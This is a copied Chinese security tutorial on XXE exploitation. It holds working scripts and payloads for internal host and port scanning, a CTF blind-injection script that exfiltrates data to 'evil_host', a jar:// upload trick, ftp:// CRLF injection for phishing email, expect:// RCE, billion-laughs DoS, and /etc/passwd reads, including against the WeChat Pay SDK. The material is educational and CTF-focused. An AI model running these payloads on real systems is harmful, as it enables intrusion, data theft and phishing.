🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
以下内容copy自别人的文章,未免失效做了全文复制 >一篇文章带你深入理解漏洞之 XXE 漏洞:https://xz.aliyun.com/t/3357 [TOC] ### **新的思考:** 刚刚都只是做了一件事,就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求; 那么我们如果将远程服务器的地址换成某个内网的地址,是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。 ### **新的利用:** 所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议 **如图所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002647-e93bbf00-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002647-e93bbf00-ec17-1.png) PHP在安装扩展以后还能支持的协议: **如图所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002647-e965b74c-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002647-e965b74c-ec17-1.png) > **注意:** > 1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 > update 7 和 Oracle JDK 1.6 update 35 > 2.libxml 是 PHP 的 xml 支持 ### **实验三:HTTP 内网主机探测** 我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了 **下面是一个探测脚本的实例:** ~~~ import requests import base64 #Origtional XML that the server accepts #<xml> # <stuff>user</stuff> #</xml> def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml) def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string # print base64.b64decode(coded_string) for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: continue ~~~ **返回结果:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-e9a5fb54-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-e9a5fb54-ec17-1.png) ### **实验四:HTTP 内网主机端口扫描** 找到了内网的一台主机,想要知道攻击点在哪,我们还需要进行端口扫描,端口扫描的脚本主机探测几乎没有什么变化,只要把ip 地址固定,然后循环遍历端口就行了,当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的,读者可以自行修改一下,当然除了这种方法,我们还能结合 burpsuite 进行端口探测 **比如我们传入:** ~~~ <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data> ~~~ **返回结果:** ~~~ javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Connection refused ~~~ 这样就完成了一次端口探测。如果想更多,我们可以将请求的端口作为 参数 然后利用 bp 的 intruder 来帮我们探测 **如下图所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-e9dea094-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-e9dea094-ec17-1.png) 至此,我们已经有能力对整个网段进行了一个全面的探测,并能得到内网服务器的一些信息了,如果内网的服务器有漏洞,并且恰好利用方式在服务器支持的协议的范围内的话,我们就能直接利用 XXE 打击内网服务器甚至能直接 getshell(比如有些 内网的未授权 redis 或者有些通过 http get 请求就能直接getshell 的 比如 strus2) ### **实验五:内网盲注(CTF)** 2018 强网杯 有一道题就是利用 XXE 漏洞进行内网的 SQL 盲注的,大致的思路如下: 首先在外网的一台ip地址为 39.107.33.75:33899 的评论框处测试发现 XXE 漏洞,我们输入 xml 以及 dtd 会出现报错 **如图所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-ea03a74a-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-ea03a74a-ec17-1.png) [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-ea345868-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-ea345868-ec17-1.png) 既然如此,那么我们是不是能读取该服务器上面的文件,我们先读配置文件(这个点是 Blind XXE ,必须使用参数实体,外部引用 DTD ) ~~~ /var/www/52dandan.cc/public_html/config.php ~~~ 拿到第一部分 flag ~~~ <?php define(BASEDIR, "/var/www/52dandan.club/"); define(FLAG_SIG, 1); define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431'); .... ?> ~~~ > **注意:** > > 这里有一个小技巧,当我们使用 libxml 读取文件内容的时候,文件不能过大,如果太大就会报错,于是我们就需要使用 php > 过滤器的一个压缩的方法 > > 压缩:echo file\_get\_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"); > 解压:echo file\_get\_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1"); 然后我们考虑内网有没有东西,我们读取 ~~~ /proc/net/arp /etc/host ~~~ 找到内网的另一台服务器的 ip 地址 192.168.223.18 拿到这个 ip 我们考虑就要使用 XXE 进行端口扫描了,然后我们发现开放了 80 端口,然后我们再进行目录扫描,找到一个 test.php ,根据提示,这个页面的 shop 参数存在一个注入,但是因为本身这个就是一个 Blind XXE ,我们的对服务器的请求都是在我们的远程 DTD 中包含的,现在我们需要改变我们的请求,那我们就要在每一次修改请求的时候修改我们远程服务器的 DTD 文件,于是我们的脚本就要挂在我们的 VPS 上,一边边修改 DTD 一边向存在 XXE 漏洞的主机发送请求,脚本就像下面这个样子 **示例代码:** ~~~ import requests url = 'http://39.107.33.75:33899/common.php' s = requests.Session() result = '' data = { "name":"evil_man", "email":"testabcdefg@gmail.com", "comment":"""<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd"> %dtd;]> """ } for i in range(0,28): for j in range(48,123): f = open('./evil.dtd','w') payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>"> %all; %send;""".format('_'*i+chr(j)+'_'*(27-i)) f.write(payload2) f.close() print 'test {}'.format(chr(j)) r = s.post(url,data=data) if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_': result += chr(j) print chr(j) break print result ~~~ 这道题难度比加大,做起来也非常的耗时,所有的东西都要靠脚本去猜,因此当时是0解 ### **实验六:文件上传** 我们之前说的好像都是 php 相关,但是实际上现实中很多都是 java 的框架出现的 XXE 漏洞,通过阅读文档,我发现 Java 中有一个比较神奇的协议 jar:// , php 中的 phar:// 似乎就是为了实现 jar:// 的类似的功能设计出来的。 **jar:// 协议的格式:** ~~~ jar:{url}!{path} ~~~ **实例:** ~~~ jar:http://host/application.jar!/file/within/the/zip 这个 ! 后面就是其需要从中解压出的文件 ~~~ jar 能从远程获取 jar 文件,然后将其中的内容进行解压,等等,这个功能似乎比 phar 强大啊,phar:// 是没法远程加载文件的(因此 phar:// 一般用于绕过文件上传,在一些2016年的HCTF中考察过这个知识点,我也曾在校赛中出过类似的题目,奥,2018年的 blackhat 讲述的 phar:// 的反序列化很有趣,Orange 曾在2017年的 hitcon 中出过这道题) **jar 协议处理文件的过程:** (1) 下载 jar/zip 文件到临时文件中 (2) 提取出我们指定的文件 (3) 删除临时文件 > **那么我们怎么找到我们下载的临时文件呢?** > > 因为在 java 中 file:/// 协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用 下面是我的一些测试过程: 我首先在本地模拟一个存在 XXE 的程序,网上找的能直接解析 XML 文件的 java 源码 **示例代码:** **xml\_test.java** ~~~ package xml_test; import java.io.File; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Attr; import org.w3c.dom.Comment; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList; /** * 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上 * @author zhanglong * */ public class xml_test { public static void main(String[] args) throws Exception { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(new File("student.xml")); //获得根元素结点 Element root = doc.getDocumentElement(); parseElement(root); } private static void parseElement(Element element) { String tagName = element.getNodeName(); NodeList children = element.getChildNodes(); System.out.print("<" + tagName); //element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断 NamedNodeMap map = element.getAttributes(); //如果该元素存在属性 if(null != map) { for(int i = 0; i < map.getLength(); i++) { //获得该元素的每一个属性 Attr attr = (Attr)map.item(i); String attrName = attr.getName(); String attrValue = attr.getValue(); System.out.print(" " + attrName + "=\"" + attrValue + "\""); } } System.out.print(">"); for(int i = 0; i < children.getLength(); i++) { Node node = children.item(i); //获得结点的类型 short nodeType = node.getNodeType(); if(nodeType == Node.ELEMENT_NODE) { //是元素,继续递归 parseElement((Element)node); } else if(nodeType == Node.TEXT_NODE) { //递归出口 System.out.print(node.getNodeValue()); } else if(nodeType == Node.COMMENT_NODE) { System.out.print("<!--"); Comment comment = (Comment)node; //注释内容 String data = comment.getData(); System.out.print(data); System.out.print("-->"); } } System.out.print("</" + tagName + ">"); } } ~~~ 有了这个源码以后,我们需要在本地建立一个 xml 文件 ,我取名为 student.xml **student.xml** ~~~ <!DOCTYPE convert [ <!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php"> ]> <convert>&remote;</convert> ~~~ **目录结构如下图:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-ea691684-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-ea691684-ec17-1.png) 可以清楚地看到我的请求是向自己本地的 9999 端口发出的,那么9999 端口上有什么服务呢?实际上是我自己用 python 写的一个 TCP 服务器 **示例代码:** **sever.py** ~~~ import sys import time import threading import socketserver from urllib.parse import quote import http.client as httpc listen_host = 'localhost' listen_port = 9999 jar_file = sys.argv[1] class JarRequestHandler(socketserver.BaseRequestHandler): def handle(self): http_req = b'' print('New connection:',self.client_address) while b'\r\n\r\n' not in http_req: try: http_req += self.request.recv(4096) print('Client req:\r\n',http_req.decode()) jf = open(jar_file, 'rb') contents = jf.read() headers = ('''HTTP/1.0 200 OK\r\n''' '''Content-Type: application/java-archive\r\n\r\n''') self.request.sendall(headers.encode('ascii')) self.request.sendall(contents[:-1]) time.sleep(30) print(30) self.request.sendall(contents[-1:]) except Exception as e: print ("get error at:"+str(e)) if __name__ == '__main__': jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) print ('waiting for connection...') server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join() ~~~ 这个服务器的目的就是接受客户端的请求,然后向客户端发送一个我们运行时就传入的参数指定的文件,但是还没完,实际上我在这里加了一个 sleep(30),这个的目的我后面再说 既然是文件上传,那我们又要回到 jar 协议解析文件的过程中了 > **jar 协议处理文件的过程:** > > (1) 下载 jar/zip 文件到临时文件中 > (2) 提取出我们指定的文件 > (3) 删除临时文件 那我们怎么找到这个临时的文件夹呢?不用想,肯定是通过报错的形式展现,如果我们请求的 ~~~ jar:http://localhost:9999/jar.zip!/1.php ~~~ 1.php 在这个 jar.zip 中没有的话,java 解析器就会报错,说在这个临时文件中找不到这个文件 **如下图:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-eaa1b2aa-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002649-eaa1b2aa-ec17-1.png) 既然找到了临时文件的路径,我们就要考虑怎么使用这个文件了(或者说怎么让这个文件能更长时间的停留在我们的系统之中,我想到的方式就是sleep())但是还有一个问题,因为我们要利用的时候肯定是在文件没有完全传输成果的时候,因此为了文件的完整性,我考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符,这样就能完美的解决这个问题 **下面是我的实验录屏:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eae69596-ec17-1.gif)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eae69596-ec17-1.gif) 实验就到这一步了,怎么利用就看各位大佬的了(坏笑) 我后来在LCTF 2018 出了这样一个 CTF 题目,详细的 wp 可以看我的[这篇文章](http://www.k0rz3n.com/2018/11/19/LCTF%202018%20T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90/) ### **实验七:钓鱼:** 如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼(一下实例来自fb 的一篇文章 ) Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令。 但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令: **示例代码:** ~~~ ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :a@VULNERABLESYSTEM.com:25 ~~~ 当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器: **示例代码:** ~~~ ftp://a EHLO a MAIL FROM: <support@VULNERABLESYSTEM.com> RCPT TO: <victim@gmail.com> DATA From: support@VULNERABLESYSTEM.com To: victim@gmail.com Subject: Reset your password We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com . QUIT :support@VULNERABLESYSTEM.com:25 ~~~ 这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。 ### **实验八:其他:** 除了上面实验中的一些常见利用以外还有一些不是很常用或者比较鸡肋的利用方式,为了完整性我在这一节简单的说一下: #### **1.PHP expect RCE** 由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE **示例代码:** ~~~ <!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]> <dir> <file>&cmd;</file> </dir> ~~~ #### **2\. 利用 XXE 进行 DOS 攻击** **示例代码:** ~~~ <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> ~~~ ## **五、真实的 XXE 出现在哪** 我们刚刚说了那么多,都是只是我们对这个漏洞的理解,但是好像还没说这种漏洞出现在什么地方 如今的 web 时代,是一个前后端分离的时代,有人说 MVC 就是前后端分离,但我觉得这种分离的并不彻底,后端还是要尝试去调用渲染类去控制前端的渲染,我所说的前后端分离是,后端 api 只负责接受约定好要传入的数据,然后经过一系列的黑盒运算,将得到结果以 json 格式返回给前端,前端只负责坐享其成,拿到数据json.decode 就行了(这里的后端可以是后台代码,也可以是外部的api 接口,这里的前端可以是传统意义的前端,也可以是后台代码) 那么问题经常就出现在 api 接口能解析客户端传过来的 xml 代码,并且直接外部实体的引用,比如下面这个 ### **实例一:模拟情况** **示例代码:** ~~~ POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1 <?xml version="1.0"?> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>XML is the best!</description> </core> </catalog> ~~~ 我们发出 带有 xml 的 POST 请求以后,述代码将交由服务器的XML处理器解析。代码被解释并返回:{“Request Successful”: “Added!”} 但是如果我们传入一个恶意的代码 ~~~ <?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog> ~~~ 如果没有做好“安全措施” 就会出现解析恶意代码的情况,就会有下面的返回 ~~~ {"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync... ~~~ ### **实例二:微信支付的 XXE** 前一阵子非常火的微信支付的 XXE 漏洞当然不得不提, **漏洞描述:** 微信支付提供了一个 api 接口,供商家接收异步支付结果,微信支付所用的java sdk在处理结果时可能触发一个XXE漏洞,攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品 我下载了 java 版本的 sdk 进行分析,这个 sdk 提供了一个 WXPayUtil 工具类,该类中实现了xmltoMap和maptoXml这两个方法,而这次的微信支付的xxe漏洞爆发点就在xmltoMap方法中 **如图所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eb304d9e-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eb304d9e-ec17-1.png) 问题就出现在我横线划出来的那部分,也就是简化为下面的代码: ~~~ public static Map<String, String> xmlToMap(String strXML) throws Exception { try { Map<String, String> data = new HashMap<String, String>(); DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); ... ~~~ 我们可以看到 当构建了 documentBuilder 以后就直接对传进来的 strXML 解析了,而不巧的是 strXML 是一处攻击者可控的参数,于是就出现了 XXE 漏洞,下面是我实验的步骤 首先我在 com 包下又新建了一个包,来写我们的测试代码,测试代码我命名为 test001.java **如图所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002651-eb80dca0-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002651-eb80dca0-ec17-1.png) **test001.java** ~~~ package com.test.test001; import java.util.Map; import static com.github.wxpay.sdk.WXPayUtil.xmlToMap; public class test001 { public static void main(String args[]) throws Exception { String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" + "<!DOCTYPE XDSEC [\r\n" + "<!ENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" + "<XDSEC>\r\n"+ "<XXE>&xxe;</XXE>\r\n" + "</XDSEC>"; try{ Map<String,String> test = xmlToMap(xmlStr); System.out.println(test); }catch (Exception e){ e.printStackTrace(); } } } ~~~ 我希望它能读取我 D 盘下面的 1.txt 文件 运行后成功读取 **如图所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002651-eba50724-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002651-eba50724-ec17-1.png) 当然,WXPayXmlUtil.java 中有这个 sdk 的配置项,能直接决定实验的效果,当然后期的修复也是针对这里面进行修复的 ~~~ http://apache.org/xml/features/disallow-doctype-decl true http://apache.org/xml/features/nonvalidating/load-external-dtd false http://xml.org/sax/features/external-general-entities false http://xml.org/sax/features/external-parameter-entities false ~~~ 整个源码我打包好了已经上传到我的百度云,有兴趣的童鞋可以运行一下感受: > 链接:[https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw](https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw)提取码:xq1b 上面说过 java 中有一个 netdoc:/ 协议能代替 file:/// ,我现在来演示一下: **如图所示:** [![](https://xzfile.aliyuncs.com/media/upload/picture/20181120002652-ebdec6a8-ec17-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20181120002652-ebdec6a8-ec17-1.png) ### **实例三:JSON content-type XXE** 正如我们所知道的,很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击 #### **原始请求和响应:** **HTTP Request:** ~~~ POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/json Content-Length: 38 {"search":"name","value":"netspitest"} ~~~ **HTTP Response:** ~~~ HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name netspitest"} ~~~ 现在我们尝试将 Content-Type 修改为 application/xml #### **进一步请求和响应:** **HTTP Request:** ~~~ POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 38 {"search":"name","value":"netspitest"} ~~~ **HTTP Response:** ~~~ HTTP/1.1 500 Internal Server Error Content-Type: application/json Content-Length: 127 {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}} ~~~ 可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击 #### **最终的请求和响应:** **HTTP Request:** ~~~ POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 288 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <search>name</search> <value>&xxe;</value> </root> ~~~ **HTTP Response:** ~~~ HTTP/1.1 200 OK Content-Type: application/json Content-Length: 2467 {"error": "no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync.... ~~~